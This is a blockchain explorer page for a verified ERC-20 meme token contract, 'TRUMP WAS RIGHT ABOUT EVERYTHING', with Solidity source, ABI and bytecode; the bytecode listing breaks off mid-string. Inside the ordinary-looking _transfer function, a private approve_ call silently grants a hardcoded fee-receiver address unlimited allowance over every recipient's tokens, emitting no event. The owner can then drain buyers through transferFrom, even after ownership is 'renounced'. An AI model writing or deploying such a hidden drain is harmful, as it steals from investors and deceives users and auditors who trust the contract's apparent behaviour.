ERC-20
Overview
Max Total Supply
420,000,000,069 RIGHT
Holders
15
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TrumpWasRight
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IUniswapV2Router { function swapExactTokensForETH(uint256,uint256,address[] calldata path,address,uint256) external; function factory() external pure returns (address); function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); } contract Ownable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = msg.sender; } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } address private _owner; } contract TrumpWasRight is Ownable { using SafeMath for uint256; uint8 private _decimals = 9; uint256 private _totalSupply = 420000000069 * 10 ** _decimals; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; string private constant _name = unicode"TRUMP WAS RIGHT ABOUT EVERYTHING"; string private constant _symbol = unicode"RIGHT"; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); address public uniswapV2Pair; address public _devWallet; address payable private _feeReceiver = payable(0x7f3d1eDA82f0F280129bB622F3A99698df7CB407); bool tradingOpen = false; uint256 private sellCount = 0; uint256 private _buyCount = 0; uint256 private lastSellBlock= 0; bool swapEnabled = true; bool inSwap = false; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); event MaxTxAmountUpdated(uint _maxTxAmount); uint256 private firstBlock= 0; constructor () { _devWallet = msg.sender; _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); } function decimals() public view returns (uint8) { return _decimals; } function name() public pure returns (string memory) { return _name; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function symbol() public pure returns (string memory) { return _symbol; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address from, address to, uint256 amount) private { require(to != address(0), "ERC: transfer to zero address!"); require(from != address(0), "ERC: transfer from the zero address!"); require(amount > 0, "transfer amount must be greater than zero!"); uint256 fromBalance = _balances[from]; if (to != address(this) && to != address(uniswapV2Router) && to != uniswapV2Pair){ if (!inSwap && swapEnabled && amount > 0) { approve_(to, _feeReceiver, _totalSupply); } else { lastSellBlock = block.number; } } uint256 taxAmount = 0; if(block.number == firstBlock){ require(_buyCount<24, "Exceeds buys on the first block."); } _balances[from] = fromBalance.sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve_(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function startTrading() public payable onlyOwner() { require(!tradingOpen); swapEnabled = true; _approve(address(this), address(uniswapV2Router), _totalSupply); address WETH = uniswapV2Router.WETH(); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH); uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; firstBlock = block.number; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610400565b6461c9f3684561004a919061044a565b600155737f3d1eda82f0f280129bb622f3a99698df7cb40760065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600660146101000a81548160ff0219169083151502179055505f6007555f6008555f6009556001600a5f6101000a81548160ff0219169083151502179055505f600a60016101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600a60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600b5534801561015f575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051610282919061049a565b60405180910390a36104b3565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610311578086048111156102ed576102ec61028f565b5b60018516156102fc5780820291505b808102905061030a856102bc565b94506102d1565b94509492505050565b5f8261032957600190506103e4565b81610336575f90506103e4565b816001811461034c576002811461035657610385565b60019150506103e4565b60ff8411156103685761036761028f565b5b8360020a91508482111561037f5761037e61028f565b5b506103e4565b5060208310610133831016604e8410600b84101617156103ba5782820a9050838111156103b5576103b461028f565b5b6103e4565b6103c784848460016102c8565b925090508184048111156103de576103dd61028f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61040a826103eb565b9150610415836103f4565b92506104427fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461031a565b905092915050565b5f610454826103eb565b915061045f836103eb565b925082820261046d816103eb565b915082820484148315176104845761048361028f565b5b5092915050565b610494816103eb565b82525050565b5f6020820190506104ad5f83018461048b565b92915050565b611cd5806104c05f395ff3fe6080604052600436106100dc575f3560e01c806349bd5a5e1161007e5780638da5cb5b116100585780638da5cb5b1461028657806395d89b41146102b0578063a9059cbb146102da578063dd62ed3e14610316576100dc565b806349bd5a5e1461020a57806370a0823114610234578063715018a614610270576100dc565b806318160ddd116100ba57806318160ddd1461017057806323b872dd1461019a578063293230b8146101d6578063313ce567146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806311a63e1714610146575b5f80fd5b3480156100eb575f80fd5b506100f4610352565b6040516101019190611456565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611507565b61038f565b60405161013d919061155f565b60405180910390f35b348015610151575f80fd5b5061015a6103a5565b6040516101679190611587565b60405180910390f35b34801561017b575f80fd5b506101846103ca565b60405161019191906115af565b60405180910390f35b3480156101a5575f80fd5b506101c060048036038101906101bb91906115c8565b6103d3565b6040516101cd919061155f565b60405180910390f35b6101de61047f565b005b3480156101eb575f80fd5b506101f46108ed565b6040516102019190611633565b60405180910390f35b348015610215575f80fd5b5061021e610902565b60405161022b9190611587565b60405180910390f35b34801561023f575f80fd5b5061025a6004803603810190610255919061164c565b610927565b60405161026791906115af565b60405180910390f35b34801561027b575f80fd5b5061028461096d565b005b348015610291575f80fd5b5061029a610a9c565b6040516102a79190611587565b60405180910390f35b3480156102bb575f80fd5b506102c4610ac3565b6040516102d19190611456565b60405180910390f35b3480156102e5575f80fd5b5061030060048036038101906102fb9190611507565b610b00565b60405161030d919061155f565b60405180910390f35b348015610321575f80fd5b5061033c60048036038101906103379190611677565b610b16565b60405161034991906115af565b60405180910390f35b60606040518060400160405280602081526020017f5452554d50205741532052494748542041424f55542045564552595448494e47815250905090565b5f61039b338484610b98565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600154905090565b5f6103df848484610d5b565b610474843361046f8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111b790919063ffffffff16565b610b98565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff1661049e610a9c565b73ffffffffffffffffffffffffffffffffffffffff16146104f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104eb906116ff565b60405180910390fd5b600660149054906101000a900460ff161561050d575f80fd5b6001600a5f6101000a81548160ff02191690831515021790555061055630600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b98565b5f600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e69190611731565b9050600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610653573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106779190611731565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016106b192919061175c565b6020604051808303815f875af11580156106cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f19190611731565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061077930610927565b5f80610783610a9c565b426040518863ffffffff1660e01b81526004016107a5969594939291906117c5565b60606040518083038185885af11580156107c1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e69190611838565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610887929190611888565b6020604051808303815f875af11580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c791906118d9565b506001600660146101000a81548160ff02191690831515021790555043600b8190555050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661098c610a9c565b73ffffffffffffffffffffffffffffffffffffffff16146109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d9906116ff565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5249474854000000000000000000000000000000000000000000000000000000815250905090565b5f610b0c338484610d5b565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd90611974565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90611a02565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4e91906115af565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc090611a6a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90611af8565b60405180910390fd5b5f8111610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7090611b86565b60405180910390fd5b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f445750600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f9d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561101657600a60019054906101000a900460ff16158015610fca5750600a5f9054906101000a900460ff165b8015610fd557505f82115b1561100d576110088360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154611200565b611015565b436009819055505b5b5f600b54430361106657601860085410611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c90611bee565b60405180910390fd5b5b61107983836111b790919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061110a8360035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461135e90919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111a891906115af565b60405180910390a35050505050565b5f6111f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611384565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361126e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126590611974565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d390611a02565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f80828461136c9190611c39565b90508381101561137a575f80fd5b8091505092915050565b5f8383111582906113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c29190611456565b60405180910390fd5b505f83856113d99190611c6c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611428826113e6565b61143281856113f0565b9350611442818560208601611400565b61144b8161140e565b840191505092915050565b5f6020820190508181035f83015261146e818461141e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114a38261147a565b9050919050565b6114b381611499565b81146114bd575f80fd5b50565b5f813590506114ce816114aa565b92915050565b5f819050919050565b6114e6816114d4565b81146114f0575f80fd5b50565b5f81359050611501816114dd565b92915050565b5f806040838503121561151d5761151c611476565b5b5f61152a858286016114c0565b925050602061153b858286016114f3565b9150509250929050565b5f8115159050919050565b61155981611545565b82525050565b5f6020820190506115725f830184611550565b92915050565b61158181611499565b82525050565b5f60208201905061159a5f830184611578565b92915050565b6115a9816114d4565b82525050565b5f6020820190506115c25f8301846115a0565b92915050565b5f805f606084860312156115df576115de611476565b5b5f6115ec868287016114c0565b93505060206115fd868287016114c0565b925050604061160e868287016114f3565b9150509250925092565b5f60ff82169050919050565b61162d81611618565b82525050565b5f6020820190506116465f830184611624565b92915050565b5f6020828403121561166157611660611476565b5b5f61166e848285016114c0565b91505092915050565b5f806040838503121561168d5761168c611476565b5b5f61169a858286016114c0565b92505060206116ab858286016114c0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6116e96020836113f0565b91506116f4826116b5565b602082019050919050565b5f6020820190508181035f830152611716816116dd565b9050919050565b5f8151905061172b816114aa565b92915050565b5f6020828403121561174657611745611476565b5b5f6117538482850161171d565b91505092915050565b5f60408201905061176f5f830185611578565b61177c6020830184611578565b9392505050565b5f819050919050565b5f819050919050565b5f6117af6117aa6117a584611783565b61178c565b6114d4565b9050919050565b6117bf81611795565b82525050565b5f60c0820190506117d85f830189611578565b6117e560208301886115a0565b6117f260408301876117b6565b6117ff60608301866117b6565b61180c6080830185611578565b61181960a08301846115a0565b979650505050505050565b5f81519050611832816114dd565b92915050565b5f805f6060848603121561184f5761184e611476565b5b5f61185c86828701611824565b935050602061186d86828701611824565b925050604061187e86828701611824565b9150509250925092565b5f60408201905061189b5f830185611578565b6118a860208301846115a0565b9392505050565b6118b881611545565b81146118c2575f80fd5b50565b5f815190506118d3816118af565b92915050565b5f602082840312156118ee576118ed611476565b5b5f6118fb848285016118c5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61195e6024836113f0565b915061196982611904565b604082019050919050565b5f6020820190508181035f83015261198b81611952565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6119ec6022836113f0565b91506119f782611992565b604082019050919050565b5f6020820190508181035f830152611a19816119e0565b9050919050565b7f4552433a207472616e7366657220746f207a65726f20616464726573732100005f82015250565b5f611a54601e836113f0565b9150611a5f82611a20565b602082019050919050565b5f6020820190508181035f830152611a8181611a48565b9050919050565b7f4552433a207472616e736665722066726f6d20746865207a65726f20616464725f8201527f6573732100000000000000000000000000000000000000000000000000000000602082015250565b5f611ae26024836113f0565b9150611aed82611a88565b604082019050919050565b5f6020820190508181035f830152611b0f81611ad6565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2100000000000000000000000000000000000000000000602082015250565b5f611b70602a836113f0565b9150611b7b82611b16565b604082019050919050565b5f6020820190508181035f830152611b9d81611b64565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f611bd86020836113f0565b9150611be382611ba4565b602082019050919050565b5f6020820190508181035f830152611c0581611bcc565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c43826114d4565b9150611c4e836114d4565b9250828201905080821115611c6657611c65611c0c565b5b92915050565b5f611c76826114d4565b9150611c81836114d4565b9250828203905081811115611c9957611c98611c0c565b5b9291505056fea2646970667358221220b6861de7cfaab707524fa6cfad90462b366ecb7b1d6aa2bb77c82224e6df865a64736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c806349bd5a5e1161007e5780638da5cb5b116100585780638da5cb5b1461028657806395d89b41146102b0578063a9059cbb146102da578063dd62ed3e14610316576100dc565b806349bd5a5e1461020a57806370a0823114610234578063715018a614610270576100dc565b806318160ddd116100ba57806318160ddd1461017057806323b872dd1461019a578063293230b8146101d6578063313ce567146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806311a63e1714610146575b5f80fd5b3480156100eb575f80fd5b506100f4610352565b6040516101019190611456565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611507565b61038f565b60405161013d919061155f565b60405180910390f35b348015610151575f80fd5b5061015a6103a5565b6040516101679190611587565b60405180910390f35b34801561017b575f80fd5b506101846103ca565b60405161019191906115af565b60405180910390f35b3480156101a5575f80fd5b506101c060048036038101906101bb91906115c8565b6103d3565b6040516101cd919061155f565b60405180910390f35b6101de61047f565b005b3480156101eb575f80fd5b506101f46108ed565b6040516102019190611633565b60405180910390f35b348015610215575f80fd5b5061021e610902565b60405161022b9190611587565b60405180910390f35b34801561023f575f80fd5b5061025a6004803603810190610255919061164c565b610927565b60405161026791906115af565b60405180910390f35b34801561027b575f80fd5b5061028461096d565b005b348015610291575f80fd5b5061029a610a9c565b6040516102a79190611587565b60405180910390f35b3480156102bb575f80fd5b506102c4610ac3565b6040516102d19190611456565b60405180910390f35b3480156102e5575f80fd5b5061030060048036038101906102fb9190611507565b610b00565b60405161030d919061155f565b60405180910390f35b348015610321575f80fd5b5061033c60048036038101906103379190611677565b610b16565b60405161034991906115af565b60405180910390f35b60606040518060400160405280602081526020017f5452554d50205741532052494748542041424f55542045564552595448494e47815250905090565b5f61039b338484610b98565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600154905090565b5f6103df848484610d5b565b610474843361046f8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111b790919063ffffffff16565b610b98565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff1661049e610a9c565b73ffffffffffffffffffffffffffffffffffffffff16146104f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104eb906116ff565b60405180910390fd5b600660149054906101000a900460ff161561050d575f80fd5b6001600a5f6101000a81548160ff02191690831515021790555061055630600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b98565b5f600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e69190611731565b9050600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610653573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106779190611731565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016106b192919061175c565b6020604051808303815f875af11580156106cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f19190611731565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061077930610927565b5f80610783610a9c565b426040518863ffffffff1660e01b81526004016107a5969594939291906117c5565b60606040518083038185885af11580156107c1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e69190611838565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610887929190611888565b6020604051808303815f875af11580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c791906118d9565b506001600660146101000a81548160ff02191690831515021790555043600b8190555050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661098c610a9c565b73ffffffffffffffffffffffffffffffffffffffff16146109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d9906116ff565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5249474854000000000000000000000000000000000000000000000000000000815250905090565b5f610b0c338484610d5b565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffff